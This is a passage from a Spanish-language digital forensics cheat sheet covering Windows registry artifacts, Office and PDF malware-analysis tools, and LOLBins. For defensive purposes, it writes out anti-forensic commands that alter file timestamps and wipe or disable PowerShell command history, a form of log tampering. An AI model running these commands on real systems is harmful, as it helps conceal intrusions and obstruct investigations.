1124 | %USERPROFILE%\Documents\MobaXterm\MobaXterm.ini
1125 | ```
1126 |
1127 | `PuTTY`
1128 | ```
1129 | HKCU\Software\SimonTatham\PuTTY\Sessions
1130 | ```
1131 |
1132 | `WinSCP`
1133 | ```
1134 | HKCU\Software\Martin Prikryl\WinSCP 2\Sessions
1135 | ```
1136 |
1137 | ### 📜 Conocer la URL de descarga de un archivo (ADS Zone.Identifier)
1138 |
1139 | Saber si un archivo malicioso se descargó de Internet y desde que URL o se creó en el sistema local.
1140 |
1141 | **ADS (Alternate Data Stream)** permite almacenar archivos dentro de archivos. Es una característica de NTFS, fue diseñada para brindar compatibilidad con el sistema de archivos jerárquico de MacOS (HFS). HFS usaba una bifurcación de recursos y una bifurcación de datos (2 flujos) para almacenar los datos de un archivo.
1142 |
1143 | PowerShell
1144 | ```ps
1145 | Get-Content -Path .\ -Stream Zone.Identifier -Encoding oem
1146 | ```
1147 |
1148 | CMD
1149 | ```cmd
1150 | notepad :Zone.Identifier
1151 | ```
1152 |
1153 | ### 📜 Modificar y detectar Timestamps modificados en ficheros analizando sus metadatos (intento anti-forense)
1154 |
1155 | Es posible que un actor malicioso o un insider intente modificar las marcas de tiempo de un fichero para modificar su fecha y hora de creación, modificación y acceso con la finalidad de realizar "técnicas anti-forense" para intentar confundir, alterar y dilatar una posible investigación forense.
1156 |
1157 | Aunque en sistemas Windows o Linux es posible modificar los timestamps ya sea de forma nativa como usando software de terceros, es posible analizar y detectar estas alteraciones cuando se realiza un proceso de análisis forense.
1158 |
1159 | `Windows - Obtener y modificar Timestamps`
1160 |
1161 | Obtener los timestamps de un fichero con PowerShell.
1162 | ```ps
1163 | Get-ChildItem file.txt | Format-List -Property *
1164 | Get-Item file.txt | Format-List -Property FullName, CreationTime, CreationTimeUtc, LastAccessTime, LastAccessTimeUtc, LastWriteTime, LastWriteTimeUtc
1165 | ```
1166 |
1167 | **Modificar los timestamps** de creación (CreationTime), última modificación (LastWriteTime) y última vez que se leyó (LastAccessTime) un fichero con PowerShell.
1168 | ```ps
1169 | (Get-ChildItem file.txt).LastWriteTime=$(Get-Date "16/4/2019 12:34 am")
1170 | (Get-ChildItem file.txt).CreationTime=$(Get-Date "16/4/2019 12:34 am")
1171 | (Get-ChildItem file.txt).LastAccessTime=$(Get-Date "16/4/2019 12:34 am")
1172 | ```
1173 |
1174 | Modificar timestamps UTC.
1175 | ```ps
1176 | (Get-ChildItem file.txt).LastWriteTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1177 | (Get-ChildItem file.txt).CreationTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1178 | (Get-ChildItem file.txt).LastAccessTimeUtc=$(Get-Date "16/4/2019 12:34 am")
1179 | ```
1180 |
1181 | Modificar timestamps de ficheros con sofware de terceros.
1182 |
1183 | - BulkFileChanger: https://www.nirsoft.net/utils/bulk_file_changer.html
1184 | - FileDate Changer: https://www.nirsoft.net/utils/filedatech.html
1185 | - NewFileTime: https://www.softwareok.com/?seite=Microsoft/NewFileTime
1186 | - Change Timestamp: https://www.majorgeeks.com/files/details/change_timestamp.html
1187 | - Attribute Changer: https://www.petges.lu/download/
1188 | - Bulk Rename Utility: https://www.bulkrenameutility.co.uk/Download.php
1189 | - Advanced Renamer: https://www.advancedrenamer.com/download
1190 |
1191 | `Linux - Obtener y modificar Timestamps`
1192 |
1193 | El comando ***stat*** muestra información detallada sobre archivos y directorios, como su tamaño, tipo, permisos y fechas de acceso, modificación y cambio.
1194 | ```bash
1195 | stat file.txt
1196 | ```
1197 |
1198 | **Modificar los timestamp** de acceso, modificación y cambio de un archivo.
1199 | - Acceso: última vez que se leyó el archivo.
1200 | - Modificar: última vez que se modificó el archivo (se ha modificado el contenido).
1201 | - Cambiar: última vez que se cambiaron los metadatos del archivo (por ejemplo, los permisos)
1202 |
1203 | ```bash
1204 | touch -a -m -t 201912180130.09 file.txt
1205 | # Formato: YYMMDDhhmm.SS
1206 | # -a = accessed
1207 | # -m = modified
1208 | # -t = timestamp
1209 | ```
1210 |
1211 | **`Detectar Timestamps modificados (ExifTool y Autopsy)`**
1212 |
1213 | Cuando se modifican los timestamps de un fichero de forma manual no se modifican su HASH. Por lo que la detección por hash file no sería un indicativo claro para detectar esta "anti-forense".
1214 |
1215 | ```bash
1216 | touch -a -m -t 201712180130.09 file.txt
1217 | sha1sum file.txt
1218 | 63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
1219 | touch -a -m -t 201812180130.09 file.txt
1220 | sha1sum file.txt
1221 | 63bbfea82b8880ed33cdb762aa11fab722a90a24 file.txt
1222 | ```
1223 |
1224 | En Linux con el comando ***stat*** podemos obtener información sobre los timestamp, sin embargo no nos muestra los timestamp de metadatos del propio fichero.
1225 | ```bash
1226 | stat file.txt
1227 | Access: 2019-12-18 01:30:09.000000000 +0100
1228 | Modify: 2019-12-18 01:30:09.000000000 +0100
1229 | Change: 2024-04-29 23:05:51.644885838 +0200
1230 | Birth: 2024-04-29 22:59:00.618199663 +0200
1231 | ```
1232 | Para poder analizar y detectar posibles modificaciones de timestamp es posible hacerlo usando ***exiftool*** donde se muestran los metadatos del propio fichero obteniendo los timestamp originales en los atributos *"Create Date, Modify Date y Metadata Date"*.
1233 |
1234 | - ExifTool: https://exiftool.org
1235 |
1236 | ```bash
1237 | exiftool file.txt
1238 | File Modification Date/Time : 2019:12:18 01:30:09+01:00
1239 | File Access Date/Time : 2019:12:18 01:30:09+01:00
1240 | File Inode Change Date/Time : 2024:04:29 23:05:51+02:00
1241 | Create Date : 2024:04:17 11:54:20+02:00
1242 | Modify Date : 2024:04:28 14:03:17+02:00
1243 | Metadata Date : 2024:04:28 14:03:17+02:00
1244 | ```
1245 |
1246 | Detectar posibles modificaciones de timestamp usando **Autopsy**.
1247 |
1248 | - Autopsy: https://www.autopsy.com/download
1249 |
1250 | Es posible obtener los metadatos del propio archivo y comprobar los timestamps originales.
1251 |
1252 | 1. Crear un nuevo proyecto.
1253 | 2. Add Data Source.
1254 | 3. Logical Files.
1255 | 4. Añadir los ficheros manualmente.
1256 | 5. Marcar las tres opciones que incluyen los "Timestamps" (Modified Time, Creation Time, Access Time).
1257 | 6. Pestaña "Hex" podemos analizarlo manualmente y encontrar los timestamps.
1258 | 7. También en las pestañas: "File Metadata" y "Analysis Results".
1259 | 8. Si se trata de un fichero ofimático o pdf se añadirá un nuevo desplegadable "Data Artifacts > Metadata" donde también podemos visualizar los timestamps originales.
1260 |
1261 | ### 📜 PSReadLine: Historial de comandos ejecutados en una consola PowerShell
1262 |
1263 | El historial de comandos en PowerShell o PowerShell Core no está integrado en el marco de administración de Windows, sino que se basa en el módulo **PSReadLine**. El módulo PSReadLine en Windows se encuentra en la carpeta `C:\Program Files\WindowsPowerShell\Modules\PSReadline` y se importa automáticamente cuando inicia la consola PowerShell.
1264 |
1265 | Esto puede ser útil en una investigación forense cuando un posible actor malicioso actuó sobre la cuenta del usuario o hizo al usuario ejecutar ciertas acciones bajo PowerShell.
1266 |
1267 | Por defecto PSReadline almacena un historial de 4096 comandos en un archivo de texto sin formato en el perfil de cada usuario **ConsoleHost_history.txt** ubicado en el siguiente path.
1268 | ```
1269 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt
1270 | ```
1271 |
1272 | En el caso de que se usara una consola bajo VSC Visual Studio Code, encontraremos en el mismo path el fichero **Visual Studio Code Host_history.txt**.
1273 | ```
1274 | %USERPROFILE%\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\Visual Studio Code Host_history.txt
1275 | ```
1276 |
1277 | Si tenemos acceso al propio contexto del usuario en su equipo podemos usar también la búsqueda inversa de forma repetida `CTRL+R` para poder ver el historial. `CTR+S` sería para una búsqueda directa.
1278 |
1279 | Comprobar si el módulo está instalado.
1280 | ```ps
1281 | Get-Module | Where-Object {$_.name -like "*PSReadline*"}
1282 | ```
1283 |
1284 | Ver el historial de comandos directamente en un output de sesión PowerShell.
1285 | ```ps
1286 | Get-Content (Get-PSReadlineOption).HistorySavePath
1287 | ```
1288 |
1289 | Mostrar más opciones de configuración del módulo de PSReadline.
1290 | ```ps
1291 | Get-PSReadlineOption | Select-Object HistoryNoDuplicates, MaximumHistoryCount, HistorySearchCursorMovesToEnd, HistorySearchCaseSensitive, HistorySavePath, HistorySaveStyle
1292 | ```
1293 |
1294 | Mostrar directamente el path donde está ubicado el fichero *ConsoleHost_history.txt*.
1295 | ```ps
1296 | (Get-PSReadlineOption).HistorySavePath
1297 | ```
1298 |
1299 | Aumentar la cantidad de comandos de PowerShell almacenados en el registro.
1300 | ```ps
1301 | Set-PSReadlineOption -MaximumHistoryCount 10000
1302 | ```
1303 |
1304 | En el caso de haber establecido algún tipo de secreto, password o token. Es posible eliminar solo el comando anterior del historial.
1305 | ```ps
1306 | Clear-History -Count 1 -Newest
1307 | ```
1308 |
1309 | Eliminar todos los comandos del historial que hagan match con un patrón específico.
1310 | ```ps
1311 | Clear-History -CommandLine *set-ad*
1312 | ```
1313 |
1314 | Para eliminar completamente el historial de comandos de PowerShell, se debe eliminar el archivo ConsoleHost_history.txt en el que escribe el módulo PSReadline o directamente ejecutar lo siguiente en consola.
1315 | ```ps
1316 | Remove-Item (Get-PSReadlineOption).HistorySavePath
1317 | ```
1318 |
1319 | Deshabilitar completamente el almacenamiento del historial de comandos de PowerShell.
1320 | ```ps
1321 | Set-PSReadlineOption -HistorySaveStyle SaveNothing
1322 | ```
1323 |
1324 | ### 📜 Caché almacenada de conexiones establecidas a otros hosts vía RDP
1325 |
1326 | Si el equipo afectado a sido comprometido y a través de este se hizo un uso como "equipo puente" en movimientos laterales, etc. Puede resultar útil comprobar la caché almacenada de conexiones establecidas vía RDP hacia otros hosts ya sea de la misma red o de un RDP externo con el objetivo por ejemplo de exfiltrar información hacia un stage controlado por el actor malicioso.
1327 |
1328 | En la siguiente clave de registro podemos encontrar las conexiones remotas RDP (Remote Desktop Protocol) realizadas desde la máquina afectada. Se creará un nueva clave por cada conexión RDP.
1329 | ```
1330 | HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Servers
1331 | HKEY_USERS\\SOFTWARE\Microsoft\Terminal Server Client\Servers
1332 | ```
1333 |
1334 | Situado en la misma ruta, se puede ver la clave "Default". Esta clave nos indica el orden de prioridad que se mostrará la lista de conexiones al desplegar la barra de la ventana de "Conexión a Escritorio remoto" que se abre al ejecutar el binario de mstsc.exe.
1335 | ```
1336 | HKEY_CURRENT_USER\Software\Microsoft\Terminal Server Client\Default
1337 | ```
1338 |
1339 | ### 📜 Artefactos forense - MS Word
1340 |
1341 | `Eventos de alertas MS Office`
1342 |
1343 | ```
1344 | Event Viewer > Applications and Services Logs > Microsoft Office Alerts
1345 | ```
1346 |
1347 | `Conocer las URLs visitadas desde Word`
1348 |
1349 | ¿Cómo saber si la víctima hizo clic en una URL maliciosa de un documento de MS Word?
1350 |
1351 | El valor de **"UseRWHlinkNavigation"** contiene la última URL a la que se accedió desde MS Word.
1352 | ```
1353 | HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet
1354 | ```
1355 |
1356 | La siguiente clave contiene subclaves con los destinos remotos que MS Word estaba tratando de alcanzar.
1357 | ```
1358 | HKEY_USERS\\SOFTWARE\Microsoft\Office\16.0\Common\Internet\Server Cache
1359 | ```
1360 |
1361 | `Ficheros abiertos recientemente en Word`
1362 |
1363 | Revisar el siguiente directorio y el contenido del fichero **"inditex.dat"**.
1364 | ```
1365 | %AppData%\Microsoft\Office\Recent
1366 | ```
1367 |
1368 | `Ficheros de inicio en Word`
1369 |
1370 | Cuando un usuario inicia MS Word los archivos de esta ubicación se cargan automáticamente. Estos archivos estarán en formato .dot, .dotx o .dotm.
1371 | ```
1372 | %AppData%\Microsoft\Word\STARTUP
1373 | ```
1374 |
1375 | `Buscar archivos recientes con macros habilitadas`
1376 |
1377 | Contiene una lista de nombres de archivo. Los valores con "FF FF FF 7F" al final, indican que tienen la macro habilitada.
1378 | ```
1379 | HKCU\SOFTWARE\Microsoft\Office\\Word\Security\TrustedDocuments\TrustRecords
1380 | ```
1381 |
1382 | `Macros de seguridad en Word`
1383 |
1384 | **"VBAWarnings"** indica el estado de las macros de seguridad.
1385 |
1386 | - Valor 1: todas las macros están habilitadas
1387 | - Valor 2: todas las macros están desactivadas con notificación
1388 | - Valor 3: todas las macros están desactivadas excepto las firmadas digitalmente.
1389 | - Valor 4: todas las macros están desactivadas sin notificación.
1390 |
1391 | ```
1392 | HKCU\Software\Policies\Microsoft\Office\\Word\Security\VBAWarnings
1393 | ```
1394 |
1395 | `Caché de Word`
1396 |
1397 | Esta ubicación se utiliza para almacenar los archivos *scratch* de MS Word. Si un usuario abre un archivo .docx con macro, Word puede crear un archivo *"WRCxxxx.tmp"*. Este archivo puede contener varios artefactos.
1398 | ```
1399 | %LocalAppdata%\Microsoft\Windows\INetCache\Content.Word
1400 | ```
1401 |
1402 | `Archivos adjuntos Word abiertos desde Outlook`
1403 |
1404 | Los archivos adjuntos tipo Word abiertos en directamente a través de en Outlook (en preview) se almacenan en esta ubicación.
1405 | ```
1406 | %LocalAppdata%\Microsoft\Windows\INetCache\Content.Outlook\\
1407 | ```
1408 |
1409 | ### 📜 Análisis de malware en ficheros XLSX (MS Excel)
1410 |
1411 | Con 7Zip podemos descomprimir el fichero .xlsx, dentro de la carpeta "XL" abrir editando el archivo llamado "workbook.xml", buscar el término **"absPath"**. Contiene la última ubicación de guardado del archivo donde veríamos al autor (C:\\<\user>\\..\\file.xlsx) que puede ser el usuario del equipo víctima.
1412 |
1413 | Como técnica anti forense esta metadata se puede eliminar desde Excel "inspeccionando el documento" y borrando las "propiedades de documento e información personal".
1414 |
1415 | ### 📜 Análisis de malware en ficheros MS Office (oletools)
1416 |
1417 | [**oletools**](https://github.com/decalage2/oletools) es un kit de herramientas python para analizar archivos Microsoft OLE2 (también llamados Structured Storage, Compound File Binary Format o Compound Document File Format), como documentos ofimáticos de Microsoft Office, mensajes de Outlook, Word, Power Point, Excel, etc. Principalmente para análisis de malware, forense y depuración. Se basa en el analizador sintáctico [olefile](https://www.decalage.info/olefile).
1418 |
1419 | > Con el argumento *-s * podemos ubicarnos sobre alguno de estos streams y con el argumento *-v* podemos ver el código de la macro. Podemos encontrar algunas cosas sospechosas en un archivo. Por ejemplo, las palabras claves *Create* o *CreateObject*, entre otras.
1420 |
1421 | - oletools: https://github.com/decalage2/oletools
1422 | - oletools Wiki: https://github.com/decalage2/oletools/wiki
1423 | - Más info oletools: http://www.decalage.info/python/oletools
1424 |
1425 | | Herramienta | Descripción |
1426 | |-------------|-------------|
1427 | | [**oledump**](https://github.com/DidierStevens/DidierStevensSuite/blob/master/oledump.py) | Analiza archivos OLE (Object Linking and Embedding, Compound File Binary Format). Estos archivos contienen flujos de datos. |
1428 | | [**olevba**](https://github.com/decalage2/oletools/wiki/olevba) | Dispone de la capacidad de extraer y analizar las macros VBA de los ficheros de MS Office (OLE y OpenXML). |
1429 | | [**pcodedmp**](https://github.com/bontchev/pcodedmp) | Desensamblador de p-code de VBA. |
1430 | | [**oleid**](https://github.com/decalage2/oletools/wiki/oleid) | Permite analizar ficheros OLE para detectar características que normalmente se encuentran en ficheros maliciosos. |
1431 | | [**MacroRaptor**](https://github.com/decalage2/oletools/wiki/olevba) | Sirve para detectar las Macros VBA maliciosas. |
1432 | | [**msodde**](https://github.com/decalage2/oletools/wiki/msodde) | proporciona la capacidad de detectar enlaces DDE/DDEAUTO de los ficheros de MS Office, RTF y CSV. |
1433 | | [**pyxswf**](https://github.com/decalage2/oletools/wiki/pyxswf) | Detecta, analiza y extrae los objetos Flash (SWF) que pueden estar embebidos en ficheros con formato de MS Office y RTF. |
1434 | | [**oleobj**](https://github.com/decalage2/oletools/wiki/oleobj) | Extrae los ficheros embebidos de los ficheros OLE. |
1435 | | [**rtfobj**](https://github.com/decalage2/oletools/wiki/rtfobj) | Lo mismo que el anterior pero con ficheros RTF. |
1436 | | [**olebrowse**](https://github.com/decalage2/oletools/wiki/olebrowse) | Proporciona una interfaz gráfica simple para navegar por los ficheros OLE. Este permite visualizar y extraer partes concretas del fichero. |
1437 | | [**olemeta**](https://github.com/decalage2/oletools/wiki/olemeta) | Consigue los metadatos de los ficheros OLE. |
1438 | | [**oletimes**](https://github.com/decalage2/oletools/wiki/oletimes) | Extrae las marcas de tiempo del fichero como la fecha de creación, la fecha de modificación, etc. |
1439 | | [**oledir**](https://github.com/decalage2/oletools/wiki/oledir) | Muestra todas las entradas de directorio de un archivo OLE. |
1440 | | [**olemap**](https://github.com/decalage2/oletools/wiki/olemap) | Pinta una tabla con todos los sectores, y sus atributos, del fichero OLE. |
1441 |
1442 | ### 📜 Herramientas de análisis en ficheros MS Office y otros (detectar malware o phising)
1443 |
1444 | | Herramienta | Descripción |
1445 | |-------------|-------------|
1446 | | [**Suite de DidierStevensSuite**](https://github.com/DidierStevens/DidierStevensSuite) | Suite de [Didier Stevens](https://www.sans.org/profiles/didier-stevens). |
1447 | | [**Exiftool**](https://exiftool.org/) | Analizar los metadatos de diversos formatos de archivos. |
1448 | | [**Munpack**](https://linux.die.net/man/1/munpack) | Descomprime mensajes en formato MIME o split-uuencode. |
1449 | | [**msoffice-crypt**](https://github.com/herumi/msoffice) | Cifra/descifra ficheros MS Office. |
1450 | | [**OfficeMalScanner**](http://www.reconstructer.org/code.html) | herramienta forense de Ms Office para escanear en busca de rastros maliciosos, como shellcode heurístico, archivos PE o flujos OLE incrustados. |
1451 | | [**Hachoir-subfile**](https://hachoir.readthedocs.io/en/latest/subfile.html) | Herramienta basada en hachoir-parser para buscar subarchivos en cualquier flujo binario. |
1452 | | [**xxxswfpy**](https://hooked-on-mnemonics.blogspot.com/2011/12/xxxswfpy.html) | Escanear, comprimir, descomprimir y analizar archivos Flash SWF. |
1453 |
1454 | ### 📜 Herramientes de análisis PDF (detectar malware o phising)
1455 |
1456 | | Herramienta | Descripción |
1457 | |-------------|-------------|
1458 | | [**PDF Stream Dumper**](http://sandsprite.com/blogs/index.php?uid=7&pid=57) | GUI de Windows para el análisis de PDF muy popular entre la comunidad de especialistas en ciberseguridad. |
1459 | | [**PDF-parser**](https://didierstevens.com/files/software/pdf-parser_V0_6_8.zip) | Extraer elementos individuales de un archivo PDF, como encabezados, enlaces y más, para su análisis detallado. |
1460 | | [**PDFID**](https://didierstevens.com/files/software/pdfid_v0_2_2.zip) | Enumera todos los objetos del archivo PDF analizado. |
1461 | | [**PEEPDF**](https://github.com/jesparza/peepdf) | Es un marco de análisis bastante poderoso que incluye búsqueda de shellcode, Javascript y más. |
1462 | | [**PDFxray**](https://github.com/9b/pdfxray_public) | Tiene la mayoría de las utilidades necesarias en forma de scripts de Python separados, pero requiere muchas dependencias. |
1463 |
1464 | `¿Qué debemos buscar al analizar un documento PDF?`
1465 |
1466 | Palabras clave: PDF Keywords
1467 |
1468 | - **/OpenAction y /AA**: ya que pueden ejecutar scripts automáticamente.
1469 | - **/JavaScript y /JS**: respectivamente ejecutan js.
1470 | - **/GoTo**: ya que esta acción cambia la página visible del archivo, puede abrir y redirigir automáticamente a otros archivos PDF.
1471 | - **/Launch**: es capaz de iniciar un programa o abrir un documento.
1472 | - **/SubmitForm y /GoToR**: pueden enviar datos por URL.
1473 | - **/RichMedia**: se puede utilizar para incrustar flash.
1474 | - **/ObjStm**: puede ocultar objetos.
1475 | - **/URI**: accede a un recurso por su URL, quizás para phishing.
1476 | - **/XObject**: puede incrustar una imagen para realizar phishing.
1477 | - Cuidado con la ofuscación con códigos hexadecimales como */JavaScript* vs. */J#61vaScript*. https://blog.didierstevens.com/2008/04/29/pdf-let-me-count-the-ways.
1478 |
1479 | `Comandos útiles análisis ficheros PDF`
1480 |
1481 | Mostrar palabras clave riesgosas presentes en el archivo archivo.pdf.
1482 | ```
1483 | pdfid.py file.pdf -n
1484 | ```
1485 |
1486 | Mostrar estadísticas sobre palabras clave. Agregue "-O" para incluir secuencias de objetos.
1487 | ```
1488 | pdf-parser.py file.pdf -a:
1489 | ```
1490 |
1491 | Mostrar el contenido del ID del objeto. Agregue "-d" para volcar la secuencia del objeto..
1492 | ```
1493 | pdf-parser.py file.pdf -o id
1494 | ```
1495 |
1496 | Mostrar objetos que hacen referencia al ID del objeto.
1497 | ```
1498 | pdf-parser.py file.pdf -r id
1499 | ```
1500 |
1501 | Descifrar infile.pdf usando la contraseña para crear outfile.pdf.
1502 | ```
1503 | qpdf --password=pass --decrypt infile.pdf outfile.pdf
1504 | ```
1505 |
1506 | ### 📜 Identificar Shellcodes en ficheros y otros comandos de análisis
1507 |
1508 | | Herramienta | Descripción | Ejemplo uso |
1509 | |-------------|-------------|-------------|
1510 | | [xorsearch](https://blog.didierstevens.com/2014/09/29/update-xorsearch-with-shellcode-detector/) | Localiza los patrones de shellcode dentro del archivo binario file.bin. | xorsearch -W -d 3 file.bin |
1511 | | [scdbgc](http://sandsprite.com/blogs/index.php?uid=7&pid=152) | Emula la ejecución de shellcode en file.bin. Con el parámetro "/off" se especifica el desplazamiento. | scdbgc /f file.bin |
1512 | | [runsc32](https://github.com/edygert/runsc) | Ejecuta shellcode en file.bin para observar el comportamiento en un laboratorio aislado. | runsc32 -f file.bin-n |
1513 | | [base64dump.py](https://blog.didierstevens.com/2017/07/02/update-base64dump-py-version-0-0-7/) | Enumera las cadenas codificadas en Base64 presentes en el archivo file.txt. | base64dump.py file.txt |
1514 | | [numbers-to-string.py](https://videos.didierstevens.com/2016/10/11/maldoc-numbers-to-string-py/) | Convierte números que representan caracteres en un archivo en una cadena. | numbers-to-string.py file |
1515 |
1516 | ### 📜 Detectar URL maliciosas en el documento
1517 |
1518 | Para buscar la existencia de estas URL, abrimos el documento con la herramienta 7zip y vamos a ir extrayendo los archivos que contiene. Partimos por extraer archivos como "**document.xml.res**" o "**webSettings.xml.res**" buscando tags o atributos como: **sourceFileName**, **attachedTemplate**, **Target**, **TargetMode**.
1519 |
1520 | También buscamos alguna URL que sea distinta a las oficiales de Microsoft. Ejemplo de URL oficiales pueden ser http://schemas.openxmlformats.org/, http://schemas.microsoft.com/
1521 |
1522 | ### 📜 Asignación de IPs en equipos
1523 |
1524 | En un incidente se descubre que se envió un paquete de red mal formado desde una dirección IP, pero el atacante elimina dicho registro. Se puede consultar la siguiente subclave del registro para encontrar el equipo en la red que tenía esa dirección IP. Cada subclave tendrá un registro DHCP con los valores DhcpIPAddress, DhcpNameServer, etc.
1525 | ```
1526 | HKLM\SYSTEM\ControlSet00*\Services\Tcpip\Parameters\Interfaces
1527 | ```
1528 |
1529 | ### 📜 Windows Firewall (wf.msc): Reglas residuales de software desintalado
1530 |
1531 | Comprobar las reglas de entrada y salida en Windows Firewall **"wf.msc"**. Un actor malicioso podría haber instalado software que creó reglas de firewall. La mayoría de las aplicaciones no borran estas reglas, incluso cuando se desinstala.
1532 |
1533 | ### 📜 Persistencia: suplantación de procesos del sistema
1534 |
1535 | Detección de 2 procesos con el mismo PID pero diferentes direcciones de memoria, podría indicar un proceso de inyección malicioso.
1536 |
1537 | Algunos ejemplos en procesos conocidos.
1538 | | Process | PID | Address |
1539 | |--------------|------|----------|
1540 | | explorer.exe | 547 | 0xa20000 |
1541 | | explorer.exe | 547 | 0x5d1000 |
1542 | | svchost.exe | 1447 | 0x6d0000 |
1543 | | svchost.exe | 1447 | 0x210000 |
1544 | | rundll32.exe | 5287 | 0xa90000 |
1545 | | rundll32.exe | 5287 | 0x6a1000 |
1546 |
1547 | ### 📜 Herramientas para consultar y auditar: GPOs, control de accesos, usuarios, grupos y otros funciones de Active Directory y LDAP
1548 |
1549 | La forma más limpia y sencilla de **realizar un backup o export de las políticas locales** (GPOs locales) de un equipo.
1550 |
1551 | Copiar todos los ficheros de la siguiente ruta:
1552 | ```
1553 | %systemroot%\System32\GroupPolicy
1554 | ```
1555 | Una vez los tengamos aislados poder reemplazarlo en una nueva imagen de sistema limpia o simplemente analizarlos con la utilidad de Registry.pol Viewer Utility.
1556 |
1557 | | Herramienta | Info | Link |
1558 | |-------------|------|------|
1559 | | `Registry.pol Viewer Utility` (sdmsoftware) | Visualizar *Registry.pol* de GPOs | https://sdmsoftware.com/389932-gpo-freeware-downloads/registry-pol-viewer-utility |
1560 | | `Nettools` | Consultar múltiples funciones de AD | https://nettools.net/download |
1561 | | `Ping Castle` | Auditoría de seguridad general del estado de AD. Útil para analizar herencias o nuevas membresías a grupos privilegiados | https://pingcastle.com/download |
1562 |
1563 | ### 📜 Análisis de phishing mails (extensión .eml)
1564 |
1565 | - SysTools EML Viewer Tool: https://www.systoolsgroup.com/eml-viewer.html
1566 |
1567 | ### 📜 MUICache: artefactos sobre aplicaciones
1568 | MUICache es un recurso de Windows que actúa como una clave de registro que se encarga de almacenar información sobre el ejecutable de cada aplicación y que el sistema operativo extrae automáticamente cuando se utiliza una nueva aplicación. MUICache tiene la característica de que incluso si eliminas algunos elementos, volverán a aparecer la próxima vez que ejecutes esa aplicación.
1569 |
1570 | ```
1571 | HKEY_USERS\\Software\Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
1572 | HKEY_USERS\_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
1573 | ```
1574 |
1575 | - Tool GUI - MUICacheView: https://www.nirsoft.net/utils/muicache_view.html
1576 |
1577 | ### 📜 FeatureUsage: reconstruir las actividades de los usuarios
1578 | Realiza un seguimiento de los eventos asociados con la barra de tareas, por ejemplo, cuando un usuario ejecuta una aplicación anclada a ella. Los artefactos *FeatureUsage* se encuentran en el archivo de registro NTUSER.DAT con la siguiente clave.
1579 |
1580 | ```
1581 | HKEY_USERS\\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
1582 | NTUSER.DAT\Software\Microsoft\Windows\CurrentVersion\Explorer\FeatureUsage
1583 | ```
1584 |
1585 | - **AppBadge**: Esta subclave realiza un seguimiento de las actualizaciones de credenciales para aplicaciones en la barra de tareas. Por ejemplo, si se usa Telegram, WhatsApp, Discord y se recibe un mensaje nuevo, puede ver un ícono rojo en la insignia de la aplicación con la cantidad de mensajes nuevos.
1586 | - **AppLaunch**: Esta subclave registra los inicios de aplicaciones, que están ancladas a la barra de tareas
1587 | AppSwitched: Esta subclave registra los clics izquierdos en las aplicaciones de la barra de tareas cuando un usuario desea cambiar de una a otra.
1588 | - **ShowJumpView**: Esta subclave rastrea los clics derechos en las aplicaciones de la barra de tareas.
1589 | - **TrayButtonClicked**: Esta subclave rastrea los clics izquierdos en los siguientes elementos de la barra de tareas: botón Reloj, botón Inicio, botón Centro de notificaciones y cuadro de búsqueda, pudiendo ver los clics en cada elemento.
1590 |
1591 | ### 📜 MRU (Most Recently Used): Artefactos de Office local y Office 365
1592 | **MRU** (Most Recently Used o Usado más recientemente): muestran a través del registro de Windows la lista de archivos abiertos recientemente por el usuario usados en las aplicaciones de Office, facilitando al usuario el poder elegir de esta lista en lugar de navegar a la carpeta origen donde está ubicado.
1593 |
1594 | - En una investigación general, conocer qué documentos abrió recientemente el usuario puede revelar para qué se utilizó el equipo afectado.
1595 | - Enumerar las rutas y los timestamps de los archivos que se eliminaron desde entonces o que estaban en una unidad extraíble.
1596 | - En un caso de intrusión con una cuenta de usuario corporativa al equipo a un aplicativo de office 365 en cloud, esta lista podría mostrar qué documentos podrían ser de interés para el atacante.
1597 | - En el caso de un ataque de phishing local con documento adjunto, se podría ver y confirmar los timestamps y la ejecución del documento malicioso por parte del usuario víctima.
1598 | - En un caso de amenaza interna, puede mostrar qué tipo de documentos quería robar o exfiltrar el insider.
1599 |
1600 | Para documentos Office abiertos desde una sesión iniciada de Office 365 con una cuenta sincronizada y licenciada de Microsoft Live. Un ejemplo con Excel y Word.
1601 | ```
1602 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Excel\User MRU\LiveId_\File MRU
1603 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\User MRU\LiveId_\File MRU
1604 | ```
1605 |
1606 | Los documentos de Office abiertos en local no llevan la ruta de identificador de sincronización de LiveId. Un ejemplo con Word.
1607 | ```
1608 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\File MRU
1609 | HKEY_CURRENT_USER\Software\Microsoft\Office\16.0\Word\Reading Locations\Document X
1610 | ```
1611 |
1612 | - Tool GUI - RecentFilesView: https://www.nirsoft.net/utils/recent_files_view.html
1613 |
1614 | ### 📜 Ver el úlimo fichero descomprimido 7-Zip
1615 | La siguiente ruta muestra la ruta y confirma el último fichero descomprimido usando 7-Zip.
1616 |
1617 | Si en una investigación forense se sospecha de que el origen de ejecución de un fichero malioso se escondía detrás de otro fichero comprimido enviado vía correo, descargado y descomprimido en local, podemos utilizar esta info como artefacto de confirmación e indicativo de la acción en el equipo ejecutado por parte del usuario víctima.
1618 |
1619 | ```
1620 | HKEY_USERS\\Software\7-Zip\FM
1621 | ```
1622 | - Valor **PanelPath0**: Este valor muestra la ruta del último fichero descomprimido usando 7-Zip.
1623 |
1624 | ### 📜 LOLBins comunes y sus artefactos
1625 |
1626 | **LOLBins** (Living Off the Land Binaries) son principalmente ficheros ejecutables, scripts o librerías legítimas que ya están presentes en un sistema operativo y que los atacantes pueden llegar a utilizar con fines maliciosos para los que originalmente no fueron diseñados para esos usos.
1627 |
1628 | Estos programas no requieren la instalación de software adicional, lo que permite a los atacantes realizar acciones maliciosas de forma desapercibida puediendo evitar la detección por parte de soluciones de seguridad tradicionales y para los equipos de monitorización y detección si no están lo suficientemente preparados.
1629 |
